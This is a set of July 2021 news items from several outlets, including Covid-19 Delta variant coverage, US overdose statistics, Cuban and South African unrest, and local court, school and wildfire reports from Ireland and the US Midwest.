In 46 states, the rates of new cases this past week are at least 10% higher than the rates of new cases the previous week, according to data from Johns Hopkins University.

In Los Angeles County, the country's most populous, there has been a 500% increase in cases over the past month, according to the county's latest health data.

"Every single patient that we've admitted for Covid is not yet fully vaccinated," County Health Services Director Dr. Christina Ghaly told the Board of Supervisors on Tuesday.

The health department runs four hospitals, including those affiliated with the University of California-Los Angeles and the University of Southern California, along with 19 health care centers throughout the region.

As cases increase nationally, only 48.2% of the population is fully vaccinated, according to data from the Centers for Disease Control and Prevention. And though many may brush off the risk of low vaccination rates to children, citing their low Covid-19 mortality rates, Hotez said they are still at risk for serious complications.

In Mississippi, seven children are in intensive care with Covid-19, and two are on ventilators, State Health Officer Dr. Thomas Dobbs tweeted Tuesday evening. Many more adolescents could be hospitalized, Hotez said, adding that up to 30% of children infected will develop long-haul Covid-19.

Nationwide, the overall number of new daily Covid-19 hospitalizations will likely increase over the next four weeks, an ensemble forecast published Wednesday by the CDC projects. There will likely be 2,100 to 11,000 new confirmed Covid-19 hospital admissions on August 9, the forecast says. Hospitalizations had been on a steady decline since late April, US Department of Health and Human Services data shows.

Scientists also are now learning about neurological consequences to long-haul Covid-19, Hotez said. Some studies have shown impacts on the brain of people who have been infected with the virus. One study in April found 34% of Covid-19 survivors received a diagnosis for a neurological or psychological condition within six months of their infection.

"What you're doing is your condemning a whole generation of adolescents to neurologic injury totally unnecessarily," Hotez said. "It's just absolutely heartbreaking and beyond frustrating for vaccine scientists like myself to see this happen."

Debate over vaccine mandates

With experts stressing the importance in vaccinating a majority of Americans against the virus, some officials are debating whether to mandate vaccinations at the local level. Some schools and employers have already implemented measures requiring students and employees to be vaccinated before returning.

Last month, Morgan Stanley announced unvaccinated employees, guests and clients would be banned from its New York headquarters. In April, Houston Methodist, a network of eight hospitals, said it would require all of its employees to get vaccinated. Of the 26,000 employees, 153 resigned or were fired as a result of refusing the vaccine.

That same month, the American College Health Association issued a policy statement recommending Covid-19 vaccination requirements for all on-campus college and university students for the upcoming fall semester, where state law and resources allow.

But many states are moving to block such requirements.

At least seven states -- Alabama, Arkansas, Florida, Indiana, Montana, Oklahoma and Utah -- have enacted legislation this year that would restrict public schools from requiring either coronavirus vaccinations or documentation of vaccination status, a CNN analysis found.

Such legislation can hurt the nation's 48 million Americans under the age of 12, former Secretary of Health and Human Services Kathleen Sebelius said Tuesday. Currently, Covid-19 vaccines are only available in the US to people 12 and older. Vaccine trials are underway for children 6 months through 11 years old.

"If we start with a lens on the children and wanting children to get back to school, which is what we all say is the priority, then we have to get more serious about employers and schools and universities stepping up and saying, 'It's great if you don't want to be vaccinated. But if you don't, you really can't have access to places that will put you in contact with folks who can't get vaccinated,'" Sebelius said.

The CDC announced last week it prioritizes in-person learning, even if all Covid-19 safety measures aren't in place. As K-12 schools will have a mix of vaccinated and unvaccinated people, it's necessary to layer strategies such as masking, physical distancing and, most importantly, vaccinations for everyone eligible -- people age 12 and older, the agency said.

The federal government can support vaccine use by expediting the full approval of available vaccines, Sebelius said. Vaccines are now available in the US under emergency use authorization.

"Getting full approval -- getting out of the emergency use authorization and into full approval -- is something that will clear up any legal questions that private employers may have," she said.

Study suggests why Delta variant is more contagious

The Delta variant might spread faster than other strains of the novel coronavirus because it makes more copies of itself inside people's bodies quicker than other strains of the coronavirus.

In research posted online last week, Chinese scientists detected on initial positive tests Delta viral loads that were about 1,260 times higher than earlier strains. They compared 62 Delta cases with 63 cases from the early epidemic wave in 2020.

Moreover, the amount of time it took quarantined people to test positive for coronavirus on PCR also shortened -- from about six days with the earlier infections to four days with Delta.

"These data highlight that the Delta variant could be more infectious during the early stage of the infection," the researchers wrote.

According to Public Health England, a number of analyses have shown Delta to be more transmissible, including lab studies that suggest "increased replication in biological systems that model human airway, and evidence of optimised furin cleavage" -- a process that activates the virus' entry into the human cell. The variant has also been observed to spread faster in real-world epidemiological studies.

According to the World Health Organization, Delta is estimated to spread roughly 55% faster than the Alpha variant first identified in the UK, and roughly twice as fast as variants that do not rise to the level of "interest" or "concern."

Heath officials have said that cases caused by the Delta variant in fully vaccinated people are rare and the strain is for the most part only causing severe disease and death in unvaccinated people.

And health officials aren't just concerned about the Covid-19 risks for people who are unvaccinated, but also the risks for a significant number of people who are partially vaccinated -- especially those who are overdue for their second dose or skipped their second-dose appointments.

The Pfizer/BioNTech and Moderna coronavirus vaccines are administered as two doses, 21 and 28 days apart, respectively. Studies have shown that those vaccines are much more effective against the Delta variant after completion of the two-dose series. People who have received one dose should still follow Covid-19 mitigation steps, such as wearing masks, until they are fully vaccinated.

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Drug overdose deaths rose by close to 30% in the United States in 2020, hitting the highest number ever recorded, the US Centers for Disease Control and Prevention reported Wednesday.

More than 93,000 people died from drug overdoses in 2020, according to provisional data released by the CDC's National Center for Health Statistics. That's a 29.4% increase from the 72,151 deaths projected for 2019.

"Overdose deaths from synthetic opioids (primarily fentanyl) and psychostimulants such as methamphetamine also increased in 2020 compared to 2019. Cocaine deaths also increased in 2020, as did deaths from natural and semi-synthetic opioids (such as prescription pain medication)," the NCHS said in a statement.

"This is the highest number of overdose deaths ever recorded in a 12-month period, and the largest increase since at least 1999," Dr. Nora Volkow, director of the National Institute on Drug Abuse (NIDA), part of the National Institutes of Health, said in a statement.

"These data are chilling. The COVID-19 pandemic created a devastating collision of health crises in America," added Volkow.

As in recent years, inappropriate use of opioids was behind most of the deaths. The NCHS reported that overdose deaths from opioids rose from 50,963 in 2019 to 69,710 in 2020.

"This has been an incredibly uncertain and stressful time for many people and we are seeing an increase in drug consumption, difficulty in accessing life-saving treatments for substance use disorders, and a tragic rise in overdose deaths," Volkow said.

"As we continue to address both the COVID-19 pandemic and the opioid crisis, we must prioritize making treatment options more widely available to people with substance use disorders."

Dr. Joshua Sharfstein, vice dean for public health practice at the Johns Hopkins Bloomberg School of Public Health and a former deputy commission at the US Food and Drug Administration, agreed the pandemic made an already serious crisis even worse.

"The pandemic had a lot to do with it," Sharfstein told CNN.

"But as the pandemic recedes, we are still dealing with this overdose crisis."

Overdoses from opioids have been steadily worsening in the US for decades. Some members of Congress have blamed the FDA for approving new synthetic opioids, and makers of some of the drugs -- notably Oxycontin maker Purdue Pharma -- have been prosecuted for their role in marketing them.

Last week, members of the Sackler family, who own Purdue, reached a $4.5 billion settlement with 15 states as part of legal actions dissolving the company.

Doctors have also been blamed for overprescribing opioids and addicting people to them in the first place.

Sharfstein said he thinks the FDA could and should do more to control over-prescribing of opioids.

"There are definitely actions that the clinical community can take to reduce the risk of people becoming addicted to opioids," Sharfstein told CNN.

"The FDA oversight of medical and clinical practice is an area the agency acknowledges it needs to improve. The question of whether a particular drug should have been approved or not is fair to ask. But now the emphasis should be on the oversight of prescribing," added Sharfstein.

"If you think about how the country has made progress on Covid since there was a clear national strategy that included goals and good data and evidence for critical projects -- I think that kind of approach is important here. The same kind of urgency and strategy that has been applied to Covid could produce results over time."

Sharfstein was pleased by the announcement Tuesday that President Joe Biden would nominate former West Virginia health commissioner Dr. Rahul Gupta to head the White House Office of National Drug Control Policy. If confirmed, Gupta would be the first physician to lead the office.

"Dr, Gupta is experienced at viewing the drug crisis as a health problem. He'll follow the evidence where it takes him," Sharfstein said.

The-CNN-Wire

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"The United States should intervene militarily."

In less than one week, this kind of call to action was made relative to not one, but two, unfolding crises in the Western Hemisphere.

In the immediate wake of the assassination of Haiti's President Jovenel Moise, one of the country's interim prime ministers, Claude Joseph, called on the United States to deploy troops to the western third of Hispaniola to secure critical infrastructure and enhance stability.

Days later, as unprecedented crowds of valiant Cubans rose up across the island to protest the country's decrepit, authoritarian regime and the lack of food and medicine amid an ongoing economic crisis aggravated by the Covid-19 pandemic, some South Florida politicians formed a chorus calling on the United States to intervene militarily in Cuba.

Although they undoubtedly thought they were acting boldly, those who made these calls were instead engaged in the ultimate tell that they had no idea what the US should do. Or that they were political grandstanding. Or both.

There would have been no shame in silence on what the US should do. The situations in Haiti and Cuba are complex and immune to the kind of bold action people so desperately want when long-suffering populations, like Haitians and Cubans, are in such acute need of assistance.

The desire among certain politicians in the US and Haiti for the US government to somehow sweep in and rescue people from economic and political depredation is undeniable, especially when the events in question are unfolding in the "US' near abroad," in countries where it has historically not hesitated to intervene.

The hard, simple truth is the United States is not going to be the primary engine of political change in either Haiti or Cuba. Meaningful, durable political change in both lies in the hands of the populations themselves. That also requires time as the ability of those populations to set their respective paths forward is hampered, in the case of Haiti, by the legacy of a predatory state followed by an absent one and, in Cuba's case, by the repression of a long dictatorship.

There is no big-bang action from the United States that will remove either of those impediments. Instead, and although it feels profoundly frustrating in such urgent times, the path for US action is far more deliberate and patient.

In the case of Haiti, the United States needs to send an unmistakable message to all who are looking to Washington to play kingmaker that those days are behind us. The burden of navigating an exceedingly complex political moment in which the country has only 10 legitimately elected officials is on Haitians.

The United States -- and other members of the international core group -- can and should play a role in bringing the country's political, civic, and private sector leaders together to chart a path to and through free, fair, and transparent elections. It should not seek to impose decisions on those actors.

The US, together with key international partners, including Canada and the European Union, can and should also help alleviate the humanitarian situation in Haiti, especially as it relates to the vastly undercounted spread of Covid-19, according to experts. Helping foster political consensus and relieving some humanitarian burden should help Haitians forge a path forward and help avoid the humanitarian catastrophe that would be a maritime mass migration akin to those seen during Haiti's last protracted political crisis in the early 1990s.

In the current environment, empowering the Cuban people to determine their own future feels perhaps even trickier. Those who believe a social explosion in Cuba is the only path forward are already trying to box President Joe Biden's administration into further prolonging President Donald Trump's misguided crackdown on Cuban Americans supporting Cubans on the island in the hopes the pandemic plus enforced family division will create enough pressure to bring down the regime.

Although the end of the regime is the desired end-state, history tells us intense pressure on the island results in two outcomes only -- maritime mass migration and/or a harsh clampdown on civic activity blamed on US policy. Neither of those outcomes is in the US national interest nor in the interest of the Cuban people.

Despite political posturing by some in South Florida, the time is now for the United States to embrace an approach that engages and empowers the Cuban people, like the one that paved the way for the internet connectivity that allowed the images of the Cubans' struggle to go viral, fueling the recent uprising. The US should extend a confident hand to the Cuban people in support of their fundamental rights and most basic needs and desires.

Calls for action must be answered; wisely and always in service of US national interests, even if the means for doing so feel unsatisfactory in the moment.

The-CNN-Wire

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By CAROLINE AYUGI and Tobbias Jolly Owiny

The National Drug Authority (NDA) has ordered Gulu University to cease production of Covilyce-1, herbal medicine that the varsity developed to treat Covid-19, saying it has not yet been approved.

The statutory regulators directive comes a few days after the university scientists led by Dr Alice Veronica Lamwaka announced that 100 Covid-19 patients who used Covilyce-1 had recovered.

Dr Lamwaka reportedly made an appeal for Shs200m support to increase production due to soaring demand for the herbal medicine several of whose users testify that it works to treat the pandemic.

Nevertheless, Mr Abiaz Rwamwiri, the NDA spokesman, told Daily Monitor that the Authority had dispatched a team of its experts to northern Uganda to stop Gulu University from producing the medicine, citing safety and efficacy concerns.

Our team is on the ground to stop the production of the drug and also to investigate where it is being produced because the university does not have a factory to produce the drug but they only have a laboratory, Mr Rwamwiri said.

Read more: https://www.monitor.co.ug/uganda/news/national/govt-blocks-gulu-varsity-covid-drug-3472632
By Ritah Kemigisa

The Deputy Kampala Resident City Commissioner in Charge of Nakawa Division Herbert Burora has ordered for the closure of Forest Mall and Shoprite in Lugogo.

In a letter dated Tuesday July 13 to the management of the two business entities, Burora says the mall should effective today, July 14, be closed until further notice.

Burora accuses the management of the shopping facility for failing to follow the presidential directives and guidelines for the 42 days lockdown.

Following my conversation with you on July 06, 2021, on phone over security concerns following the 18/ 06/ 2021 presidential directives, where the President guided the country and issued express directives and guidelines for the 42 days lockdown, it is unfortunate that they were not followed by management of the premises, said Mr Burora.

He has asked the management to ensure that they provide transport to their workers and put in place all standard operating procedures as guided by the president and the ministry of health if they are to be reopened.

He adds that all private cars will not be allowed to the premises apart from those that identify with essential services.

Restaurants shall provide social distancing measures as opposed to the existing management.

Pharmacies operating within the mall will only be opened to workers who identify themselves.
By Ritah Kemigisa

Security minister Rtd Maj Gen Jim Muhwezi has dismissed claims that the government is only arresting Muslims for alleged involvement in the attempted assassination of works minister Gen Katumba Wamala.

This is after Bugiri Municipality MP Asuman Basalirwa accused the government of turning a blind eye to the torture meted out on Muslim suspects.

However, the deputy speaker Anita Among has asked Basalirwa to leave the issue of religion out of such crimes.

Minister Muhwezi has meanwhile defended security agencies saying they only arrest suspects for crimes committed and not because of their religious affiliation.

He also reassures the nation that government does not condone acts of torture, adding that action shall be taken after thorough investigations into the matter.
By AFP

Stores and warehouses in South Africa were hit by looters Tuesday for a fifth day running despite the troops President Cyril Ramaphosa deployed to try to quell unrest that has claimed 72 lives.

As pillaging erupted in the economic capital of Johannesburg and the southeastern province of KwaZulu-Natal, South Africas main opposition accused radicals of stoking the unrest.

The armed forces were sending 2,500 soldiers to help the overwhelmed police.

But these numbers are dwarfed by the more than 70,000 troops deployed to enforce last years coronavirus lockdown, and only a handful of soldiers were seen at some shopping centres.

The raging unrest first erupted last Friday after former president Jacob Zuma started serving a 15-month term for contempt, having snubbed a probe into the corruption that stained his nine years in power.

By the weekend, it started spreading to Gauteng province.

The total number of people who have lost their lives since the beginning of these protests  has risen to 72, the police said in a statement late Tuesday.

Most of the deaths relate to stampedes that occurred during incidents of looting of shops, it said.

Others were linked to shootings and explosions of bank ATMs.

The number of arrests has risen to 1,234, although many thousands have been involved in the ransacking sprees.

Looting for my mum

Earlier TV footage showed dozens of women, some wearing their dressing gowns, men and even children strolling into a butcher in Soweto, coming out balancing heavy boxes of frozen meat on their heads or shoulders.

Police showed up three hours later and fired rubber bullets. Soldiers eventually followed.

In Alexandra township north of Johannesburg, hundreds of people streamed in and out of a shopping mall, freely grabbing groceries.

Looters who spoke to AFP said they had got caught up in the rush, or saw the chance to ease a life blighted by poverty.

Im really not concerned about Zuma. He is a corrupt old man that deserves to be in jail, said a 30-year-old man who works at a car wash.

He admitted to taking things from the shop for my mum  stainless-steel pots, meat and groceries.

In Pietermaritzburg, KwaZulu-Natals capital, people hauled boxed refrigerators through bushes to a long line of cars that were parked along a highway.

In Durban, aerial footage showed hundreds of people looting a large shopping centre and carting off huge boxes of goods.

A woman was seen throwing her baby from the first floor of a building to save her from fire after shops below her apartment were set on fire. The child safely landed with a group of people on the street.

Read more: https://www.monitor.co.ug/uganda/news/world/death-toll-in-south-africa-unrest-climbs-to-72-as-violence-spreads-3472246
Weather Alert

...THUNDERSTORMS TO BRING POTENTIAL FOR NEW FIRE STARTS MONDAY NIGHT THROUGH WEDNESDAY MORNING... .Two rounds of lightning are possible this week. The first may bring isolated thunderstorms late Monday night into Tuesday morning. The second round arrives from late Tuesday night into Wednesday morning and may produce scattered thunderstorms. ...FIRE WEATHER WATCH IN EFFECT FROM LATE MONDAY NIGHT THROUGH WEDNESDAY MORNING FOR THUNDERSTORMS FOR THE IDAHO PANHANDLE (ZONE 101) AND PALOUSE AND SPOKANE AREA (ZONE 674)... The National Weather Service in Spokane has issued a Fire Weather Watch for thunderstorms, which is in effect from late Monday night through Wednesday morning. * Affected Area: Fire Weather Zone 101 Northern and Central Idaho Panhandle (Zone 101) and Fire Weather Zone 674 East Washington Palouse and Spokane Area (Zone 674). * Thunderstorms: Isolated thunderstorms late Monday Night and Tuesday morning. Scattered thunderstorms late Tuesday Night and Wednesday morning. Brief rain expected with thunderstorms * Outflow Winds: Gusty outflow winds are possible near thunderstorms. * Impacts: Thunderstorms containing only light rain amounts may lead to several new fire starts. Breezy winds may lead to fire spread of any new or existing fires especially on Wednesday. PRECAUTIONARY/PREPAREDNESS ACTIONS... A Fire Weather Watch means that critical fire weather conditions are forecast to occur. Listen for later forecasts and possible Red Flag Warnings. &&
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Bail has been refused for a man who has been brought before Kilkenny District Court charged with assault, making threats to kill and having a realistic imitation firearm.

Sean Gannon, 37 Ossory Park, Kilkenny, was charged with the offences following an incident at a take away in Castlecomer last Sunday, July 11.

Garda Padraig Keegan gave evidence of arresting Mr Gannon and putting the charges to him, after caution. He made no reply to the charges.

The garda set out for Judge Geraldine Carthy why bail was being opposed by gardai, including the seriousness of the charges.

Garda Keegan said gardai attended Roberto's Fast Food in The Square, Castlecomer, at about 9.45pm last Sunday.

He said Mr Gannon had gone to the take away where his girlfriend worked to speak to another employee of the business who had kissed her on a recent day.

Mr Gannon confronted the man outside the take away, in an area without CCTV. He then went around to the front of the take away where another employee came out and confronted Mr Gannon. It is alleged at this point Mr Gannon produced the imitation firearm and pointed it at the man.

Garda Keegan said it will be alleged Mr Gannon pointed the imitation gun at the mans head and pulled the trigger.

He thought he was going to die.

The garda said the imitation firearm was made of metal, very heavy and believable.

Solicitor Ed Hughes said his client had bought the toy gun in a poundshop the day before for 5. He left it in a jacket pocket, then wore the same jacket when he went to Castlecomer, unaware the gun was in his pocket. He said at all times he was acting in self defence.

Mr Hughes said his client was willing to abide by any court conditions imposed if granted bail.

Judge Carthy denied bail and remanded Mr Gannon in custody to appear next Monday, via video link, for directions from the Director of Public Prosecutions.

Legal aid was granted.
Daniel Whelan grew and developed as a musician and writer in the rural idylls of southern Carlow where he learned fingerstyle guitar and developed his literary taste using tradition as his portal.

His writing style comes in response to a stiff Catholic upbringing, and an inherent desperation to outgrow its fettered approach to emotion, human nature and love. Now at a point of departure, he attempts, in poetry and song, to find a place for true human experience as the waves of the digital age encroach.

Whelan explains, "Bastille Day is a song that was two years in gestation, finished after and thanks to the Bastille Day fireworks, Paris 2017. Contained within are questions of love, identity, and power. It moves from Dublin to France through both its sense of place, and sense of scale."

Daniel Whelan's 'Bastille Day' is the first track from his upcoming EP 'Beautiful Torture', which spans themes of love and loss, intertwined by subtle revelatory tones. Echoing the symbolic nature of the EP, the release of 'Bastille Day' falls on July 14, the French National Day and anniversary of The Storming of The Bastille on July 14th 1789, otherwise known as Bastille Day.

August 2019 saw Whelan recording in Displace Studios with Matthew Jacobson on drums and Conor Cunningham on bass. He collaborated with Cian Hamilton on the production of 'Bastille Day' and subsequent EP 'Beautiful Torture'.

Stream/ Download 'Bastille Day'
After years of trojan community effort the Urlingford Community CCTV System was launched earlier today.

At the launch Chief Superintendent Padraig Dunne of the Waterford/Kilkenny/Carlow Division praised the work of the committee in successfully getting the CCTV system up and running. Chief Supt Dunne noted the importance of CCTV in the investigation of criminal offences.

Chairperson of Kilkenny Joint Policing Committee, Cllr Pat Fitzpatrick, was also in high praise of the local committee for their efforts in making the local community a safer place noting that the CCTV system was the latest in a number of initiatives carried out by the committee which was established in 2012. Cllr Fitzpatrick also noted the importance of CCTV as not only an investigative tool but as a crime prevention measure and deterrent.

John Cahill, former Chairman of Urlingford and Graine Community Alert, who was a driving force behind the hard working committee that brought the project to fruition outlined the exceptional procedures that were required. He noted that this was a four year project which involved numerous public meetings and consultation, meetings with An Garda Siochana, Kilkenny County Council and The Department of Justice.

Ronan Ryan, Community Development Officer with Kilkenny County Council, also paid tribute to the efforts of the local people noting the cumbersome process in setting up a community CCTV system and their persistence to make it succeed.

District Officer for Kilkenny Superintendent Derek Hughes outlined how the CCTV system will operate and noted its value to the Gardai investigating reported crimes. Superintendent Hughes also highlighted the preventative measures of a CCTV system. He stated that this launch was a culmination of the cooperative work of An Garda Siochana, Kilkenny Local authority and the local community of Urlingford.

Dan Norton Chairperson and Committee member of Urlingford and Graine Community Alert Group addressed the gathering and paid tribute to his hardworking committee for all their efforts in their successful application and launch of the CCTV system.

The CCTV system was granted authority under section 38 3(C) of the Garda Siochana Act 2005. The launch of the CCTV is a culmination of hard work by the committee of Urlingford and Graine Community Alert. Kilkenny County Council are the data controllers for the system which has a total of eleven cameras within the town.

Crime Prevention Officer Kilkenny Carlow Division Sergeant Peter McConnon said that 'any CCTV system plays an integral part in designing out crime from communities'.

"This system will be an invaluable asset in making Urlingford a safer place," he added.
PRESTON, Minn. - The state veterans home project in Preston has reached another milestone as the Minnesota Department of Veterans Affairs announced plans for a groundbreaking on the site.

A community information session was held at the Preston Servicemen's Club on Tuesday.

Image courtesy of Minnesota Department of Veterans Affairs Image courtesy of Minnesota Department of Veterans Affairs

The groundbreaking will take place on August 19th with the projected completion date set for the spring of 2023. The new facility will include 54 residential units.

Commissioner Larry Herke said, "We'll be looking for veterans to fill this home probably about a year out from moving into it which would be in the spring of 2023 when construction is complete."

Herek says there will also be more than 100 jobs created and he hopes to keep those positions local.

He added, "We're going to be working with the educational institutions and the organizations here in town to make sure we get as many people from this area. We find with our other homes in greater Minnesota that it's a great marriage when we get people that actually live in the community and are serving the veterans here in Preston."

The department says the project is still on budget at $35 million with 65% of that coming from federal funding and the rest coming from state and private funding.
MASON CITY, Iowa  Two Minnesota men arrested with marijuana in North Iowa get different legal results.

Eric Gganah Freeman Jr., 29 of Burnsville, MN, and Lester Barky Padmore, 28 of Duluth, MN, were arrested in May 2020 after being stopped for speeding on Interstate 35 near Clear Lake. The arresting officer says there was a smell of marijuana coming from the vehicle and a search found a few pounds of the drug inside.

Freeman pleaded guilty to possession of marijuana with intent to deliver. He received three years of probation and had to play a $750 fine. Charges against Freeman were dismissed and he agreed to pay court costs.
MASON CITY, Iowa  Following a mistrial, a Lake Mills woman accused of exposing herself near a preschool has taken a plea deal.

Krista Elizabeth Mary, 41, entered a guilty plea Tuesday to a serious misdemeanor charge of indecent exposure. Shes been fined $430, must pay a $250 civil penalty, and has to sign up with the Iowa Sex Offender Registry.

Mary was arrested after preschool employees called police on October 8, 2020, and said Mary was naked on the steps of a home in the 400 block of North Pennsylvania Avenue in Mason City.

A jury began in April but the jury could not reach a verdict and a mistrial was declared.
ROCHESTER, Minn.  The Womens Shelter and Support Center is giving its Donor of Distinction Award to Luxury Bath Remodeling.

Luxury Bath has impacted thousands of lives over the years. We are honored to present them with this award, says Artyce Thomas, Executive Director of The Womens Shelter and Support Center. They not only help with providing temporary shelter and services to victims, but they also help prevent future violence.

The Shelter says Luxury Bath Remodeling has been an active supporter for 10 years.

The entire staff works to make this support possible, says Luxury Bath owner Ron Simon. It has been an unexpected blessing to be in a position to be able to help out. Thats the reward.

Founded in 1976, the Womens Shelter and Support Center is a non-profit group based in Rochester that provides shelter and support services to domestic violence victims in southeastern Minnesota. It has satellite offices in Kasson, Preston, and the Olmsted County Courthouse.
5-year-old with cancemakes Post-It Note art on hospital window, more appear across street
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A man is arrested during a demonstration against the government of President Miguel Diaz-Canel in Arroyo Naranjo Municipality, Havana, Monday. AFP-Yonhap



One person has died in the anti-government protests across Cuba, according to officials, with activists saying at least 100 people have been arrested and scores remain in detention as demonstrations overseas in solidarity continued.



The rallies are the largest since the Cuban revolution of the 1950s and come as the country endures its worst economic crisis in 30 years, with chronic shortages of electricity, food and medicine, just as it records a spike in coronavirus infections.



Cuba's San Isidro free speech protest movement published late Monday a list of 144 people held or reported as disappeared following the demonstrations in dozens of cities and towns.



A 36-year-old man died during a protest on the outskirts of Havana on Monday, the interior ministry said Tuesday, according to the state news agency, which named him as Diubis Laurencio Tejeda and said he had taken part in "disturbances."



Demonstrators had chanted "down with the dictatorship" before being dispersed by police in about 40 different locations across Cuba on Sunday, but about 100 protesters again gathered in the capital Havana Monday evening, shouting "down with communism."



Relatives and friends of those detained during and after the historic demonstrations engaged in a desperate search on Tuesday for news on their whereabouts.



"They took him from the house handcuffed and beaten, without a shirt, without a mask," said a 50-year-old woman who did not wish to give her name, asking after her 21-year-old son at a police station in the capital.



"They took many from the neighborhood, young and old."



On Tuesday Cuba's foreign minister Bruno Rodriguez denied there had been a "social outbreak", insisting that the people still support "the revolution and their government."



Havana blamed the show of discontent on the United States  which has placed Cuba under sanctions since 1962  pursuing a "policy of economic suffocation to provoke social unrest in the country."



But Washington pointed the finger at "decades of repression" in the one-party communist state.



In Miami and the US capital, Cuban-Americans rallied in support of the anti-government demonstrations, with smaller scale protests also breaking out in Brazil, Ecuador, Uruguay.



Cuba's Catholic Church called for "understanding" in a statement published on the Bishops Conference website, adding "the people have the right to express their needs, desires and hopes."



President Miguel Diaz-Canel met with his retired predecessor Raul Castro and the rest of the Communist Party politburo on Sunday to discuss the protests, Granma, the official newspaper of the country's governing party, said Tuesday.



Mobile internet was down across much of Cuba for much of Sunday, and on Monday the authorities cut access to major social media platforms, according to London-based group NetBlocks.



The United States urged Cuba to end the internet restrictions and demonstrate "respect for the voice of the people by opening all means of communication, both online and offline." (AFP)




Tibbits Summer Theatre returned to the Tibbits Opera House stage for their production of The Fantasticks. Tibbits will close its 2021 season with the heartwarming play On Golden Pond at the historic opera house from July 28-Aug 6. Tickets are available at Tibbits.org.
Watch what people do, rather than what they say
Weather Alert

...FIRE WEATHER WATCH IN EFFECT FROM MONDAY AFTERNOON THROUGH MONDAY EVENING FOR SCATTERED THUNDERSTORMS FOR FIRE WEATHER ZONES 413 AND 427... ...FIRE WEATHER WATCH IN EFFECT FROM MONDAY AFTERNOON THROUGH MONDAY EVENING FOR SCATTERED THUNDERSTORMS FOR FIRE WEATHER ZONE 413... The National Weather Service in Pocatello has issued a Fire Weather Watch for scattered thunderstorms, which is in effect from Monday afternoon through Monday evening. * AFFECTED AREA...Fire Weather Zone 413 Caribou Range/Caribou NF. * IMPACTS...Lightning and or strong outflow winds could create critical fire conditions. * THUNDERSTORMS...A mix of wet and dry thunderstorms with some rainfall over one tenth of an inch possible. * OUTFLOW WINDS...Winds over 35 mph. PRECAUTIONARY/PREPAREDNESS ACTIONS... A fire weather watch means that critical fire weather conditions are forecast to occur. Listen for later forecasts and possible Red Flag Warnings. &&
The Idaho Lottery celebrated 32 years of entertainment and games by returning the single largest annual dividend to the People of Idaho, $72.5 million. The Idaho Lotterys announcement came during a public ceremony held at Iowa Elementary School in the Nampa School District with Idaho Governor Brad Little and the Idaho Lottery Commission. Read more
(ST. JOSEPH, Mo.) Add the St. Joseph School District to the growing list of employers putting out the help wanted sign.

With the 2021 school year quickly approaching, the school district is looking to fill nearly 60 positions within the district, ranging from certified teachers to classified staff members.

"We're going to be replacing more teachers this year than the average year; not substantially," said Brian Kraus, the Assistant Superintendent of Human Resources. "I would say we're probably going to be in the 135-140 range when it's all said and done."

Kraus said in previous years, the district's turnover rate is typically 120 certified teachers, not including classified positions. Adding the pandemic played a big role in teachers retiring and teachers leaving after the grinding year.

The three biggest concern areas for the district are hiring for math, science and special education, Kraus saying the state of Missouri concerns over these areas as well.

Statewide there are 46 science openings, 75 in special ed., and 64 in math, and were in the middle of July. Most of the people who want jobs have them already," said Kraus.

Kraus mentioned another statistic that affects the teaching world in Missouri very greatly, saying the State Department of Education said the enrollment in teacher preparation programs has dropped 25% in the last four years.

While schools struggle each year to retain teachers, the St. Joe School District is offering programs to current teachers and those interested in joining the teacher workforce.

We try to get people through whats called 'Transition to Teaching' Programs. It might be someone whose bachelors degree is not in education but has decided that they want to become a teacher. Thats the avenue we can bring them in and get them temporary certification to be a teacher," Kraus explained. Adding the 'Grow your Own' program this year as well. "We have 17 people that we are giving financial assistance to and their part of the bargain is that for every year we give them financial assistance, they are guaranteeing that they are going to teach with us for one year.

The district will implement the 'Career Pathway for the Teaching Professions' program in the fall at Hillyard Technical Center. This new program is designed for students that have an interest in becoming teachers. The two-year program allows up to 40 students to gain experience in high school who hope to go on to pursue a teaching career in college.

Despite job vacancies, the district says they are on par for hiring teachers this upcoming school year. "We've done this too many times to get nervous about it. I mean, it is what it is. We recruit as far and as wide as we can."

The district will be eligible to apply for two government grants in the upcoming months. The first is a Grow Your Own grant for which we could receive up to $10,000. The other is a teacher retention grant for up to $592,000. The application for both is available on August 1st and the applications must be submitted no later than January 31, 2022.

A full list of open positions within the St. Joseph School District can be found here.
UPDATE: JULY 14 AT 6:42 A.M.

The Peterson Fire saw no additional growth with the help of rain Tuesday, according to a fire behavior analyst.

Fire Behavior Analyst Bruce Giersdorf told Montana Right Now crews helped with three fires caused by lightening in the late afternoon storm Tuesday in Musselshell County. He said a task force was sent to each of those fires.

Later this morning at 10 a.m., crews will do a detection flight around Musselshell County to see if there are any more unreported fires.

Giersdorf said the Peterson fire received two doses of afternoon rain, which prevented additional growth. According to Giersdorf, the Peterson Fire had the most potential for growth.

Right now, the Musselshell Trail Fire is 100-percent contained, the Peterson Fire is 26-percent contained and the Western Road Fire is 79-percent contained.

UPDATE: JULY 13 AT 12:14 P.M.

The evacuation order in the Queen's Point Road area has been lifted as of 10:30 a.m. Tuesday.

The evacuation orders in the Harvey Road, Melstone-Custer Road and Alkali Creek Road areas Monday.

Peterson Fire:

Musselshell County DES said on Facebook crews built a a dozer and handline across the north portion of the Peterson Fire Monday. Aerial crews dropped water and retardant on spot fires and more active areas of the fire.

On Tuesday, firefighters will build an ongoing line surrounding the fire's perimeter. Engine and hand crews will stabilize the existing line on the northern and eastern parts of the fire. On the southern and western parts, firefighters will try to link the line in rocky and difficult terrain.

Western Road Fire:

The Western Road Fire is now 73-percent contained after crews put out lingering heat pockets more than 100 feet into the fire's interior Mondat.

On Tuesday, crews will stand by for in the event new fires start in the MY Complex area, Musselshell County DES said.

Musselshell Trail Road Fire:

On Monday, crews started to fix damaged resources as a result of fire suppression efforts. This will carry on Tuesday, same with patrolling and monitoring the fire.

High temperatures ranging 80 to 85 degrees is forecasted Tuesday. By afternoon, there will be a 50-percent chance of rain with potential lightening, hail and winds of up to 15 miles-per-hour coming from the east and southeast.

UPDATE: JULY 12 AT 1:43 P.M.

Some evacuation orders have been lifted near the Peterson Fire, according to a Facebook post from Musselshell County DES.

Evacuations are lifted south of Harvey Road, West of Melstone-Custer Road and north of Alkali Creek Road. Evacuation orders remain in place for Queens Point Road.

Musselshell County DES said people living in the areas where evacuations are lifted may return to their homes; however, they should remain prepared for potentially fluctuating events such as additional evacuations.

UPDATE: JULY 12 AT 7:30 A.M

During a fire briefing Monday morning regarding the MY Complex Fire, fire crews said they are expecting good firefighting weather conditions the next couple of days.

